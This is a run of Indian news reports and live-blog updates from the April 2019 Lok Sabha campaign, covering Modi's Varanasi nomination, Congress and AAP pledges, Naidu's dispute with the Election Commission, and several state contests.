Patils resignation as leader of Opposition. I have spoken to Vikhe Patil, who has expressed his desire to continue working for the party, said Chavan. He also said the resignation of Karan Sasane from his post as Ahmednagar district president too was accepted on Thursday and the entire district unit has been dissolved. According to party leaders, Vikhe Patil had submitted his resignation on March 20, after meeting Mallikarjun Kharge, AICC general secretary in-charge, Maharashtra. He had contended he was helpless as the state leadership failed in getting the Ahmednagar seat exchanged with the Nationalist Congress Party (NCP) and his son was left with no option, but to join the BJP so that he could contest the Lok Sabha seat. The decision of accepting the resignation comes a day ahead of Gandhis rally in Ahmednagar on Friday. Earlier, Sasane had declared he would not campaign for the party candidate from Shirdi Bhausaheb Kamble. Sasane was appointed as district president to replace Anna Shelar, who joined BJP with Sujay Vikhe Patil. Sasanes resignation prompted the Congress leadership to accept Vikhe Patils resignation as he is believably behind the resignation of district president. Sasane claimed that he resigned because Kamble insulted his late father and former MLA Jayant Sasane. He also had declared that he would not campaign for Kamble, but will remain in the party. Last month, Congress faced embarrassment after Sujay Vikhe Patil joined the BJP amid fanfare and barely two days within the announcement of the Lok Sabha elections. A section of the Congress leaders in the state have been demanding action against Vikhe Patil as the party had lost ethical ground owing to the defection by the son of the leader of the Opposition. Congress has stood short of suspending Vikhe Patil as the party fears that it would lose the post of leader of Opposition owing to numbers. Congress has 42 MLAs in the Assembly, while NCP has 41. The Congress will now have to submit a letter to the Assembly speaker to replace the leader of Opposition in the lower house. The state legislature has one session left, starting in the third week of June, before the Assembly elections later this year. Vikhe Patil was accused of giving tacit support to Sujay, who was the BJP contestant from Ahmednagar Lok Sabha seat and was blamed for working behind the scenes in his campaign. Party sources said he was in touch with the supporters of his father, late Balasaheb Vikhe Patil, in Rahuri, Parner and other areas in Ahmednagar district, and exhorted them to support Sujay. With elections in almost two-third of Maharashtra over, all four parties are focusing on the 17 seats that go to polls in the fourth phase on April 29, with emphasis on Mumbai, which has six constituencies. Result? Mega rallies of all top leaders have been planned in the city and different parts of the state. Several high-profile seats and candidates are in the fray in the 10 seats in the Mumbai Metropolitan Region (MMR) and the remaining in parts of north and western Maharashtra. There is a direct fight between the BJP-Sena and Congress-NCP in Mumbai and the other seats. The BJP had won eight, and the Sena nine seats. While retaining the seats is a challenge for the saffron combine, the Congress and NCP are leaving no stone unturned to regain lost ground. In 2014, thanks to the Modi wave, the BJP-Sena won all six seats in Mumbai with a significant margin. This time, it faces a tough contest from the Congress, which has put its act together after the infighting among city leaders. As a result, all top leaders in the state have begun campaigning in areas surrounding these constituencies. They have only two days Friday and Saturday left to campaign for their candidates. On Friday, Prime Minister Narendra Modi and Congress president Rahul Gandhi will be holding rallies at different places in the state. PM Modi will hold a public rally at BKC ground in Mumbai and Gandhi will hold a public rally at Sangamner. It is expected to cover two Lok Sabha seats Shirdi and Nashik. The Congress president was expected to hold a road show in Mumbai, which didnt materialise. NCP chief Sharad Pawar has planned two meetings each on Friday and Saturday. On Friday, he will hold public meetings at Manpada (Thane) and another in Thane city. On Saturday, he is holding public meetings at Satana for Nashik constituency and another at Borivli for Mumbai North seat. Of the 17 seats, the Congress is contesting nine, the NCP seven and their ally Bahujan Vikas Aghadi (BVA) is contesting one Palghar seat. Shiv Sena chief Uddhav Thackeray is also attending Modis Mumbai rally and will hold another rally at Palghar for his candidate, Rajendra Gavit, on Saturday. The party has got the seat from the BJP for this election. In Mumbai South Lok Sabha constituency, sitting Sena MP Arvind Sawant is facing Congress candidate and partys Mumbai president Milind Deora for the second consecutive time. In Mumbai North West, sitting Sena MP Gajanan Kirtikar and former MP and Congress candidate Sanjay Nirupam are contesting against each other. In Mumbai North Central, sitting BJP MP Poonam Mahajan is facing a competition from former MP Priya Dutt. Mumbai North constituency is facing another big fight, where sitting BJP MP Gopal Shetty will have to defend the partys bastion against Bollywood actor Urmila Matondkar contesting on a Congress ticket. In Maval constituency, sitting Sena MP Shrirang Barne is facing a tough fight against Parth Pawar, a third-generation member from NCP chief Sharad Pawars family. He is the son of former deputy chief minister Ajit Pawar. Interestingly, the NCP chief was not keen on giving a ticket to Parth, but eventually gave in to family pressure. Chief minister Devendra Fadnavis is also holding rallies in Shirdi, Shirur, Dindori, Nashik and in Mumbai in the next two days. So far, he has held 88 rallies. The ruling combine is also wary of the impact Maharashtra Navnirman Sena chief Raj Thackeray would have on voters. Thackeray has been addressing rallies, targeting PM Modi and BJP. The saffron combine is assessing if the Marathi speaking voter, who is the biggest group in all constituencies in Mumbai, gets split between the BJP-Sena and Congress-NCP owing to Thackerays campaign. Thackeray is holding a rally in Nashik on Friday, where the party enjoys a stronghold. Besides, the biggest tribal belt in Maharashtra that comes under Nandurbar and Dindori constituencies and some part of Dhule constituency. The tribal belt was traditionally a Congress stronghold, but the BJP performed well here in the Lok Sabha as well as Assembly polls in 2014. Retaining the three seats would reaffirm BJPs hold over the area. Political expert Prakash Bal said, Although the BJP-Sena combine claims they will retain their position, poll results will be different this time. In my view, the saffron parties are losing many seats and the Congress-NCP front will do better. Prime Minister Narenda Modi, speaking to BJP workers before filing nomination papers from Varanasi, said there was an unprecedented pro-incumbency wave in the country and urged partymen to not be arrogant. Because of the hard work of workers, there is huge enthusiasm from Kashmir to Kanyakumari. First time there is a pro incumbency wave in the elections. Everywhere people are saying, abki baar said PM Modi a day after his mega roadshow saw a huge turnout in Varanasi Lok Sabha constituency. Varanasi goes to polls on May 19, the last round of seven-phase elections. Follow LIVE updates here. Taking a swipe at the Congress, the PM advised workers to not be arrogant because those who showed arrogance were reduced to 40 seats from 400 seats. The PM urged the workers to turn Varanasi elections into model exercise, forcing experts to make it a case study. In his tips for the workers, the PM asked them to make sure women came out in large numbers. Make sure women voters are 5 percent more than men. He also asked voters to target first-time voters, to welcome them with sweets. Download Narendra Modi app and use it to woo first-time voters, he said. On a lighter note, he gave tips to workers on reducing poll expenses by visiting voters at their homes and partaking food, reading papers and watching TV all free of cost. Prime Minister Narendra Modi on Friday said that if he does anything wrong, there should be Income Tax raids at his house too. He said this at a rally in Sidhi, Madhya Pradesh, where had had gone after filing his nomination paper in Varanasi earlier in the day. Speaking at the rally, he said that the opposition leaders were accusing the BJP of conducting raids at their houses. In his speech, the PM referred to the recent raids at the homes of chief minister Kamal Naths aides in Madhya Pradesh, raids which he referred to as the Tughlaq Road election scam, to launch a salvo at the Congress. They ask why are raids being conducted at the Congress leaders homes. They say we are Congress leaders, why are we being raided? The law is the same for everyone, he said. If Modi makes mistakes, there should be income tax raids at Modis house too. The law is equal for all, he said. He claimed that the money that had been recovered in the Madhya Pradesh raids at Kamal Naths aides houses was meant to be used in Congress president Rahul Gandhis electoral campaign. He accused the Congress of announcing various schemes and committing scams under the guise of those schemes. He said that From Delhi to Bhopal, in the Congress, corruption is a symbol of manners. Your chowkidar is alert. Neither the naamdaar nor his ministers will be saved. Kamal Nath had represented Chhindwara almost continuously in Parliament for nearly 40 years until he took over as Madhya Pradesh chief minister in December. He only lost a bypoll to the seat in 1997. Now, Kamal Naths son, Nakul Nath, 44, is the Congress candidate from Chhindwara trying to maintain the winning streak. Chhindwara is among the six seats in Madhya Pradesh going to the polls on April 29. Nakul is banking on his fathers legacy and makes it a point to refer to it in his speeches. I will take forward the development work of my father, Nakul Nath told a gathering on the campaign trail on Wednesday. Nakul campaigned in an open jeep. He addressed gatherings and interacted with people en route in sweltering 40 degree Celsius. He keeps his speeches short; they barely last three to five minutes. He has focused on health, employment and education. Reopening of coal mines, a university and better healthcare facilities are some of my priorities, he said, referring some coal mines which have been closed. This is the first time in India when a father is seeking votes for an assembly poll and son for Parliament at the same time. I hope you bless me like you have been blessing my father for the past 40 years, Nakul told the gathering. Kamal Nath is contesting an assembly bypoll. He was not an assembly member when he took over as the chief minister and is required to become one within six months to continue in office. At an election meeting, the CM asked people to tear his sons clothes if he does not deliver. The BJP has fielded tribal leader and former legislator Nathan Shah, 57. He is hoping to end Congresss dominance in Chhindwara. The father and sons defeat is certain this time. Shah alleged Kamal Nath has been winning the seats because of money power and by misleading the public with false assurances in the name of his closeness to the Gandhi family. It, though, may not be easy for Shah as Congress won all seven assembly seats, including three seats reserved for ST and SC, under the parliamentary constituency, in the 2018 assembly elections. In 2018 and 2013 assembly elections, the BJP had won four of these seven seats. Tribals account for about 27% of Chhindwaras population. Gondwana Gantantra Party (GGP)s former legislator, Darbu Singh Uikey, said tribals are innocent people, who believe whatever powerful people say. GGP, which counts tribals among its core support base, won three assembly seats in Chhindwara in 2003. In 2014 LS polls, GGP polled only 2.1% votes in Chhindwara. Syed Zaffar, a panchayat member, said Kamal Nath has been striving hard to develop the area since 1980. We have a Chhindwara model of development which includes infrastructure and skill development to ensure employment. Rajkumar Hada, a trader, said they want Prime Minister Narendra Modi at the Centre but hold Kamal Nath in high esteem. Relying completely on the national capital becoming a full state, the Aam Aadmi Party (AAP) in its manifesto, released Thursday, promised to set up Delhis own Public Service Commission within a year, apart from an immediate crackdown on corruption by reviving the anti-corruption branch (ACB). While releasing the manifesto, AAP convener and Delhi chief minister Arvind Kejriwal said the party will be able to attain full statehood for the city only if it wins all seven seats in the national capital in the ongoing Lok Sabha elections. Delhi goes to polls on May 12 and the results will be declared on May 23. Bringing the issue of corruption back into the political discourse, the party said it would revive the ACB like it did during the 49-day AAP government and break the spine of corruption in Delhi. The ACB went under the direct control of the Centre through the lieutenant-governor on the basis of a notification issued by the Union ministry of home affairs in May 2015. If the AAP wins, the party also plans to address the problem of transfers and postings of officers in the Delhi government by setting up its own commission within a year. The issue has resulted in multiple flashpoints between the AAP government, the L-G and the Centre as currently, the subject of services is under the Union governments control. The AAP government claims that not having control over transfers, postings, performance reviews and accountability of bureaucrats obstructs governance. Top officers of the Delhi government belong to the Indian Administrative Services AGMUT (Arunachal Pradesh, Goa, Mizoram and Union Territories) cadre because of which they also get transferred out of Delhi. The AAP manifesto also states that owing to zero accountability of the Delhi Police towards the people, Delhi has the highest crime rate in India, whereas the conviction rate is only 52%. It talked of carrying out extensive reforms on the basis of a Supreme Court judgment in the case of Prakash Singh versus Union of India, 2006, to modernise Delhi Police. Delhi Police is highly understaffed and two-thirds of positions are lying vacant. AAP will ensure that all posts are filled, along with a 33% reservation for women. Response time of PCR vans to will be brought down to five minutes, it said. Reacting to the proposed police reforms, retired Indian Police Service (IPS) officer Prakash Singh, who served as the chief of Uttar Pradesh and Assam police forces, and whose public interest litigation led to the SC passing landmark police reforms in 2006, said, These are all cosmetic changes. Gradually, all state police forces are upgrading themselves. What is needed are institutional reforms. No party talks about that. Singh said reforms should be such that the police are separated from extraneous pressure. That is the real reform. The Congress has said they will discuss reforms as noted in the case. But they were in power when the Supreme Court had passed the judgment in my case, he said. The manifesto also a had a chart comparing Delhi with London, Berlin, Moscow, Mexico City, Ottawa and Washington City. It attempted to show how these cities have power over the local police, appointments and transfers, land and city planning, housing, traffic and transport planning and local bodies while Delhi has none. In a personalised message to voters, Kejriwal listed the things he would get done women safety will improve; law and order will improve; youth will get jobs; every child who has scored over 60% marks in class 12 will get a college admission; sealing will be stopped; every Delhi resident will have an own house; unauthorised colonies will be regularised; and Delhi will be made a clean and beautiful city. Addressing the issue of the sealing drive, the AAP manifesto said it would completely stop the action and redraft building by-laws. On having control over land, which currently vests with the Centre, the party promised houses on cheap loans to every voter family. It said it will also formulate a new rental housing strategy for Delhi and create new rental housing stock for migrants, professionals and students. Apart from filling the existing vacancies of over two lakh government jobs in the Delhi Police, education, health department with 85% reservation for city residents, the AAP also said it would implement 14 bills passed by the state assembly as soon as Delhi becomes a full state. These Bills, which include the Jan Lokpal Bill and a model Mohalla Sabha Bill are currently with the Central government. Deputy CM Manish Sisodia said all of these would come true only if Delhi becomes a full state. That will be possible only if Delhiites vote for AAP and make the win all seven seats, he said. Continuing his tirade against the Election Commission, Telugu Desam Party president and Andhra Pradesh chief minister N Chandrababu Naidu on Friday questioned the poll bodys authority in preventing the state intelligence chief from meeting him. In a nine-page strongly-worded letter to chief election commissioner Sunil Arora, Naidu accused the Commission of denying him a level playing field as compared to the Centre and other states. Naidu was referring to the alleged instructions given by chief electoral officer Gopala Krishna Dwivedi to additional director general (intelligence) Kumar Vishwajeet to not report to the chief minister. The state intelligence chief works directly under the control of the chief minister. Because of the illegal orders of the CEO, the intelligence chief is not reporting to me. I would like to know whether the ADG (Intelligence) should also report to EC and if not, whom he should report to, the TDP chief questioned. He sought to know whether the EC had also directed Director of Intelligence Bureau (IB) and the National Security Advisor (NSA) not to work under Prime Minister Narendra Mod and had prohibited them from meeting and briefing the PM. Even in other states, has the EC issued orders asking intelligence chiefs from reporting to their respective chief ministers? If not, why are these discriminating orders being issued only in case of Andhra Pradesh? he asked. Vishwajeet had replaced senior IPS officer AB Venkateshwara Rao as the intelligence chief on March 31 on the orders of the EC, which was acting on a complaint filed by YSR Congress party. In its complaint, the YSRC had claimed that Rao had been acting as a TDP agent in the elections. After the elections, Rao was appointed as DGP of Anti-Corruption Bureau. The chief minister also questioned the CEOs authority in preventing him from conducting review meetings of various departments when the model code of conduct was in force. The CEO is clearly exceeding his jurisdiction. He cannot bar an elected government from discharging its duties, he said. He said there was no such provision in the model code of conduct that a chief minister should not hold official review meetings. He pointed out that the Narendra Modi government at the Centre had held a cabinet meeting on April 15 despite the model code of conduct being in force and even now, regular security briefings and meetings were taking place at the central level. Similarly, in the neighbouring state of Telangana, the chief minister is conducting various departmental review meetings regularly. Why is this discrimination against Andhra Pradesh? he asked. Stating that there is a large gap of 42 days before the results are announced on May 23, Naidu said the normal administration cannot be allowed to come to a standstill. There were several crucial issues pertaining to the state like drinking water crisis, deaths due to sunstroke, release of water to crops and expedition of ongoing works in Polavaram irrigation project. Since the electorate has already exercised their franchise, the EC has no jurisdiction to stop any review meeting or briefing, he said. CEO Dwivedi could not be reached for comments as he was not taking calls. Meanwhile, TDPs official spokesman Lanka Dinakar told reporters in Amaravati that the party would stage a dharna in front of the EC office in New Delhi if it did not give up its discriminatory attitude towards Andhra Pradesh. Naidu has been castigating the Election Commission for its alleged failure to conduct elections smoothly in AP. Soon after the polling on April 11, he described the poll body as the most useless institution in the country and a branch office of the Bharatiya Janata Party. Andhra Pradesh went to polls for the 175-member state assembly and 25 Lok Sabha seats on April 11. The ruling TDP fought an intense battle with main opposition YSR Congress party. Now he says, Oh, I misunderstood. I must have misunderstood the question or I must have misunderstood the significance of the statement, (its) missing the part where I was saying thats what I heard on the street, Wilson said. When hes before the judge getting the sweetheart deal its what I heard personally. How am I to, with his background, believe him now? Accusing the Narendra Modi government of fooling the poor, All India Congress Committee president Rahul Gandhi on Friday claimed that though Modi had opened bank accounts for everyone, the money was sent to Anil Ambani. Addressing an election rally, his first in Odisha after elections were notified, Gandhi said while the Modi government did not put any money in Jan Dhan Yojana bank accounts, the Nyay Yojana would put money in the poor peoples accounts. Modi did a good thing by opening bank accounts of people. He had promised to provide Rs 15 lakh to every poors account. Has he done that? He put money in Anil Ambanis accounts. We will provide 5 crore poor families a sum of Rs 6,000 per month for five years. This will be our surgical strike on poverty. Nyay yojna will be implemented across India when Congress comes to power. The poor will gain, said Gandhi. The AICC chief said the money for the Nyay scheme will not be be taken from the middle class by any new tax. The money will be taken from the pockets of people like Nirav Modi and Mehul Choksi, he said. Attacking Modi on the issue of unemployment, Gandhi promised jobs to the unemployed youth of Odisha if Congress is voted to power. Has Modi government given jobs to unemployed youths? Has the Naveen Patnaik government provided jobs to unemployed youths? Around 22 lakh government jobs are lying vacant. We will provide jobs to the youth within a year, if voted to power. Besides that, we will also create 10 lakh jobs in panchayat level, Rahul said, adding that unemployment allowance of Rs 3,000 per month would be given to individuals till they get jobs. Incidentally, Rahul said the Congress will bring in a law under which farm loan defaulters would not be prosecuted. The AICC chief arrived at Balasore a few hours late after his flight from Delhi to Patna encountered engine trouble. The Directorate General of Civil Aviation has ordered an inquiry into the incident. Union finance minister and senior BJP leader Arun Jaitley, in a fresh post on his Facebook blog, has claimed that the Congress appears to be fighting the present Lok Sabha elections on the 1971 agenda. The post titled Has the Congress Thrown its Hands up? Jaitley claimed that the BJP had made significant gains in the East and that Karnataka appeared to be going the saffron partys way. With the regional parties dominating Andhra and Telangana, the Congress in both the States, and the TDP are staring at a washout, read the post. He said that the future rounds of elections would witness a direct contest between the BJP and the Congress. The Congress obviously is in no position to effectively take on the regional parties or the BJP. Therefore, the only issue in the future rounds is the width of the margin of victory of the BJP. Will it be a repeat of 2014 in terms of votes or will it be more? The euphoric reaction at the ground suggests a mandate larger than 2014, Jaitley wrote. The run up to the polls, he wrote, showed an interesting situation developing and listed some points. Referring the narrative around the Rafale fighter jet that the Congress had built, Jaitley wrote that the Congress president had in the last one year, built a fake narrative on Rafale and loan waiver to business houses, which was contrary to the truth. He said the fake issues had evaporated and that they now did not strike a chord in the electorate and the fact that Rahul Gandhi apology to the Supreme Court for false public narrative had significantly diminished his credibility as a political leader. Rahul became a victim of his own falsehood, Jaitley wrote. Jaitley also took potshots at the on-now-off-now discussions for alliance between the Congress and the Aam Aadmi Party. The desperation reached a peak when he, without realising that Arvind Kejriwal was playing games with him, offered him four seats contrary to the advice of the State unit. He displayed the desperation of a loser, Jaitley wrote. Saying that the Congress party and Rahul Gandhi were 48 years behind times, he said that the New India is a positive India. It does not accept the negativism of Rahul, Arvind Kejriwal, Mamata Banerjee and TDP. The New India wants to look up rather than be cynical and critical about their own country. The Congress is contesting the 2019 election on the 1971 agenda. It is not in tune with the times, he said. The Indian National Lok Dal (INLD) is fighting for survival after facing a split in December. Jailed INLD leader Om Prakash Chautalas grandsons, Hisar Parliament member Dushyant and his brother Digvijay, revolted and floated the Jannayak Janata Party (JJP). This dealt a blow to the party, which has been out of power in Haryana for 14 years. Chautala and his son, Ajay, cannot contest the elections after their conviction in a recruitment scam in January 2013. They are serving a 10-year term in Tihar Jail. The split took place when the party under the command of Chautalas younger son, Abhay, was hoping to put up a better performance in the national and state polls in 2019. For the two factions, the elections are about proving who the rightful inheritor of late former deputy Prime Minister Ch Devi Lals legacy is. Lal founded the INLD. An INLD leader, who did not want to be named, said their first enemy is the JJP and target is to do better than it. We aim to get maximum Jat votes which are divided between the INLD, JJP and Congress at present. If we do well, it could nudge the BJP to form an alliance with us in the future. The INLDs vote share was 24.4% and 24.1% in the 2014 Lok Sabha and assembly elections. In the 2009 parliamentary election, the partys vote share was 15.6% and 22.4% in 2004. Polling for Haryanas 10 Lok Sabha seats will be held on May 12. The INLD has struggled to field 10 candidates. Former Punjab chief minister Parkash Singh Badal, who is a close friend of Chautala, tried unsuccessfully persuade the BJP to ally with the INLD. The INLD hopes to retain Sirsa and manage maximum votes in Kurukshetra, where Abhays son, Arjun, has entered the fray for the first time. A member of the INLD think tank said, The worst is over. Now, wait for the upswing. An aide to Abhay said: Chautala is not perturbed at all. He says the party has seen such setbacks in the past and emerged stronger. Such desertions also took place when Devi Lal was the boss and later when Chautala was in full command. Congress leaders such as Raghuvir Singh Kadian, Anand Singh Dangi, Dharam Vir and Jai Parkash, who is now an independent MLA, and Sampat Singh began their political careers in the INLD. This split has offered an opportunity for the new generation. The INLD is used to destruction from within, said an INLD leader. Chandigarhs Panjab University political science professor, Ashutosh Kumar, said the churning in the Chautala clan is a typical family feud. More than the legacy of Devi Lal, the fight is over business, resources, funds, properties, party offices, manpower, he said. There is nothing ideological about the INLD and JJP. Both are trying to stake claim over Jat leadership in multipolar politics of Haryana. INLD workers are concerned about Chautalas weaker position. Ajay was looking after the party before he was jailed. This role was thrust on Abhay, who was handed down the tough task of rebuilding the partys base and morale of workers. Cong failed to deliver a martyr memorial, but we did: PM Modi Very few people know that 33,000 policemen have sacrificed their lives for the nation, but for many years the defence forces and the police forces demanded a martyr memorial but Congress did not pay any heed to their demands. But now we have a martyr memorial in Delhi, I request everyone to visit the memorial at least once and pay homage to the martyrs: PM Modi in Mumbai Calling is almost free, data in India is also the cheapest in the entire world: PM Modi PM Narendra Modi at NDA rally in Mumbai: Once upon a time, telephone bill was a huge part in list of expenses of middle class. Due to efforts of our government, calling is almost free, data in India is also the cheapest in the entire world, reports news agency ANI. PM Narendra Modi at NDA rally in Mumbai: Once upon a time, telephone bill was a huge part in list of expenses of middle class. Due to efforts of our government, calling is almost free, data in India is also the cheapest in the entire world pic.twitter.com/70iISBXGnv ANI (@ANI) April 26, 2019 Corruption, Tax and Inflation grow with speed during Congresss rule : PM Modi Corruption, Tax and Inflation only these three things grow with speed during Congresss rule : PM Modi For the first time in thirty years, India is developing without facing inflation: PM Modi For the first time in thirty years, the nation is not talking about the Inflation, even the opposition cannot say that India is dealing with inflation. We made sure that India develops without being pushed towards inflation. The calls and data pack are one of the biggest examples for the same: PM Modi in Mumbai Since independence, the least number of seats that Congress won was 44, in 2014 General Elections: PM Modi PM Narendra Modi at NDA rally in Mumbai: Since independence, the least number of seats that Congress won was 44, in 2014 General Elections. In 2019 General Elections, Congress is making a record of fighting on the least number of seats ever, reports news agency ANI. PM Narendra Modi at NDA rally in Mumbai: Since independence, the least number of seats that Congress won was 44, in 2014 General Elections. In 2019 General Elections, Congress is making a record of fighting on the least number of seats ever. pic.twitter.com/YnqpmWvxjM ANI (@ANI) April 26, 2019 Surveys are asking if Congress will cross 50 seats this time: PM Modi The only discussion that people have is that wether the Congress would touch 50 seats or will get struck below 40 seats. So the intelligent decision is clear for the voter to make choice among BJP and Congress: PM Modi in Mumbai PM Modi addresses poll rally in Maharashtra's Mumbai PM Modi addresses public meeting at Mumbai, Maharashtra PM Modi addresses public meeting at Mumbai, Maharashtra. Dial 9345014501 to listen LIVE. #DeshModiKeSaath https://t.co/wfGJ0viUgS BJP (@BJP4India) April 26, 2019 The Madhya Pradesh Chief Minister is a busy man: PM Modi The Madhya Pradesh Chief Minister is a busy man. His priorities include jet-setting to Switzerland immediately after elections, leaving all administrative work, just to establish his own dynasty and of course, corruption. Very sad state of affairs! The Madhya Pradesh Chief Minister is a busy man. His priorities include jet-setting to Switzerland immediately after elections, leaving all administrative work, just to establish his own dynasty and of course, corruption. Very sad state of affairs! pic.twitter.com/VQbChm4RCA Chowkidar Narendra Modi (@narendramodi) April 26, 2019 Demonetisation brought down cost of buying house: PM Modi After demonetisation the cost of buying a house has gone down, people could purchase houses easily, but for Congress the demonetisation had brought negatives, as they lost their black money invested in the industry: PM Modi in Madhya Pradesh Ever since congress came to power, law and order in MP derailed:PM Modi In less than six months of Congress coming to power, the state of governance is at an all time low in Madhya Pradesh. The power situation is bad. Farm loan waiver hasnt been delivered upon despite being promised. This shows why people must never vote Congress! In less than six months of Congress coming to power, the state of governance is at an all time low in Madhya Pradesh. The power situation is bad. Farm loan waiver hasnt been delivered upon despite being promised. This shows why people must never vote Congress! pic.twitter.com/oKHYc11cYq Chowkidar Narendra Modi (@narendramodi) April 26, 2019 This election is for happy and secure India: PM Modi These elections are not normal. Who is a parliamentarian or a prime minister is not just electing it. It is the choice to make a happy, secure India. There is a choice to guarantee the future of your children. It is the choice to give India a better position in the world: PM Modi PM Modi addresses poll rally in Madhya Pradeshs Jabalpur Prime Minister Narendra Modi addresses poll rally in Madhya Pradeshs Jabalpur. Congress govt betrayed people in MP by reducing electricity supply: Modi Congress had promised to reduce electricity bills & found a solution to do so by reducing electricity supply in your homes. Congress govt here is running on the formula of supplying lesser electricity than previous Shivraj govt. Is this not betrayal?, reported news agency. Modi targets Rahul Gandhi over Tughlaq Road election scam money Tughlaq Road election scam money used for Naamdars campaign: Modi targets Rahul Gandhi Raid my house too if I have done anything wrong: Modi in MP Raid my house too if I have done anything wrong, says PM Modi, in counter to opposition attack on tax raids. Sukhbir Singh Badal files nomination papers from Ferozepur After paying obeisance at Sachkhand Sri Harmandir Sahib in the morning, @officeofssbadal filed his nomination papers for #LoksabhaElection from #Ferozepur. I request everyone to vote & support him for the all round development of the constituency, tweeted union minister Harsimrat Kaur Badal. Singer Daler Mehndi joins BJP Singer Daler Mehndi joined Bharatiya Janata Party (BJP) on Friday in presence of BJP North West Delhi candidate Hans Raj Hans and Union Minister Vijay Goel, reported news agency. Narendra Modi has robbed people of whatever they had: Rahul Gandhi Rahul Gandhi coins a new slogan Kuchh nahin sab jhootha hai Narendra Modi ne loota hai, all promises are proven false. Narendra Modi has robbed people of whatever they had: Rahul Gandhi Will get special budget for farmers, if voted to power: Rahul Gandhi Congress Rahul President Rahul Gandhi promises to get special budget for farmers, if voted to power. Priyanka Gandhi attends at public meeting in Gursarai Congress General Secretary for UP East Priyanka Gandhi Vadra, attended a public meeting in Gursarai. Rahul Gandhi attacks PM over farmers distress, unemployment He does not speak about farmers distress, unemployment, instead he talks about surgical strike, said Congress President Rahul Gandhi on Prime Minister Narendra Modi. Note ban led to unemployment, says Rahul Gandhi in Bihar rally Demonetisation led to unemployment: Rahul Gandhi in Samastipur rally Congress chief Rahul Gandhi addresses rally in Bihar Congress chief Rahul Gandhi addresses rally in Bihars Samastipur. Modi urges people to exercise their right to vote PM Narendra Modi: Aisa mahaul kuch log ab banane lage hain ki Modi ji toh jeet gaye aur vote nahi karoge toh chalega. Kripa karke aise logon ki bataon mein mat aiye. Matdaan apka haq hai, loktanta ek utsav hai, zada se zada matdaan karna chahiye desh mazboot karne ke liye. pic.twitter.com/EqY6ztfi2u ANI UP (@ANINewsUP) April 26, 2019 PM leaves DMs office after filing nomination I deeply express gratitude towards people of Kashi. They have again blessed me after 5 years. Such a grand roadshow yesterday was possible only in Kashi, reported news agency. PM Modi performs Ganga aarti after Varanasi roadshow on Thursday PM Modi on Thursday participated in a spectacular electoral roadshow attended by tens of thousands of supporters in his Lok Sabha constituency, culminating in the daily evening aarti on the banks of the Ganga. Read here People of Varanasi very lucky as they choosing PM of India: Sushma Swaraj EAM and BJP leader Sushma Swaraj: The people of Varanasi are very lucky as they are choosing the Prime Minister of India, while people of other constituencies are choosing their MPs, reported news agency. Prime Minister Narendra Modi files his nomination papers in Varanasi Prime Minister Narendra Modi filed his nomination papers for Varanasi parliamentary constituency, the seat he won in 2014 Lok Sabha elections with a big margin. #LokSabhaElections2019 : PM Narendra Modi files nomination from Varanasi parliamentary constituency. pic.twitter.com/V0RX2otJUv ANI UP (@ANINewsUP) April 26, 2019 I thank our NDA family for joining us on this historic occasion: Amit Shah I thank our NDA family for joining us on this historic occasion. Stronger NDA for a Better India, tweeted BJP chief Amit Shah. Top BJP, NDA leaders join Modi Uttar Pradesh state head Yogi Adityanath, Bihar chief minister Nitish Kumar, AIADMK leaders, Shiromani Akali Dal leader Parkash Singh Badal, Lok Jan Shaktis Ram Vilas Paswan, many Union ministers and chief ministers presented at the collectorate. NDA leaders greets Modi at collectorate Prime Minister Narendra Modi arrives at collectorate office to file his nomination from Varanasi parliamentary constituency, meets NDA leaders present there, reports news agency. Varanasi: Prime Minister Narendra Modi arrives at Collectorate office to file his nomination from Varanasi parliamentary constituency, meets NDA leaders present there pic.twitter.com/WlPYiobUIP ANI UP (@ANINewsUP) April 26, 2019 Top BJP, NDA leaders presented at collectorate BJP party chief, Amit Shah, home minister Rajnath Singh, Shiv Sena chief, Uddhav Thackeray and others presented at the collectorate. NDA leaders arrive at Collectorate Office in Varanasi ahead of PM Modi's nomination filing. #LokSabhaElections2019 pic.twitter.com/OB0MJamc5E ANI UP (@ANINewsUP) April 26, 2019 PM Modi reaches collectorate for filing nomination papers Prime Minister Narendra Modi reached at the collectorate for filing his nomination papers. Plane carrying Congress chief to Patna returns to Delhi after engine trouble Engine trouble on our flight to Patna today! Weve been forced to return to Delhi. Todays meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience, tweeted Congress president Rahul Gandhi. Engine trouble on our flight to Patna today! Weve been forced to return to Delhi. Todays meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience. pic.twitter.com/jfLLjYAgcO Rahul Gandhi (@RahulGandhi) April 26, 2019 Every BJP worker is Narendra Modi: PM In Kashi, atmosphere is friendly, so work hard. Every BJP worker is Narendra Modi here, said PM Modi in Varanasi. BJP workers in Kerala, West Bengal in fear as oppn uses guns: Modi Modi said BJP workers are working under fear in Kerala and West Bengal because of fear of opponents who use guns, bombs against them. When any BJP worker leaves home, he tells his mother that if he doesnt return home send his another brother for the party work, said Modi. I have shown that PMs post is not for fun: PM Modi I have shown that post of Prime Minister is not for fun , it is not for nepotism, said the Prime Minister while attacking the Gandhi family. Want to take India forward on path of development: Modi We want to take India forward on the path of development and new heights, said Modi in Varanasi. Modi emphased on contesting election in minimum expenditure The election of Varanasi should be such that the political pundits of the country should consider writing a book on it: Modi Honour first time voters: Modi Be prepared and honour first time workers who will go to cast their votes: Modi Expert in making fertilizers from worst of the things: Modi on oppositions attack PM Modi urged party not to fight with people criticizing him. Abuses hurled at me or send to me, because I am expert in making fertilizers from worst of the things, said Modi. Brotherhood, friendship, we will have to bring back in politics: Modi Brotherhood, friendship, we will have to bring back in politics, said Modi. Now Media will not show any interest in Varanasi Medias interest in Varanasi election ended yesterday because they felt that Modi won, said Modi during his speech. Democracy must win, says Modi Modi wins or not, democracy must win. You will have to break all records of voting. Women voting should be five percent higher, said PM Narendra Modi during his Varanasi speech. Modi attacks Congress in Varanasi They used to make government. But we say public makes govt, said Modi in Varanasi Pro-incumbency wave in the country: Modi First time there is pro incumbency wave in the election, says Modi in Varanasi. Grateful for the love of the nation, says PM Modi I felt that every Kashi citizen gave me blessings. Because of hard work, from Kashmir to Kanyakumari, there is a wave of enthusiasm, said Modi during his speech. Greatful to all party workers: Modi My Kashi workers sweated out and worked very hard to invite people for the show: Modi PM Modi addresses BJP workers Before filing nomination papers for re-election from the Varanasi parliamentary constituency Prime Minister Narendra Modi will address Bharatiya Janata Party workers in Varanasi. PM Modi tweets video of crowd gathered during his roadshow on Thursday Prime Minister Narendra Modi tweeted a video of crowd gathered during his mega roadshow in his Lok 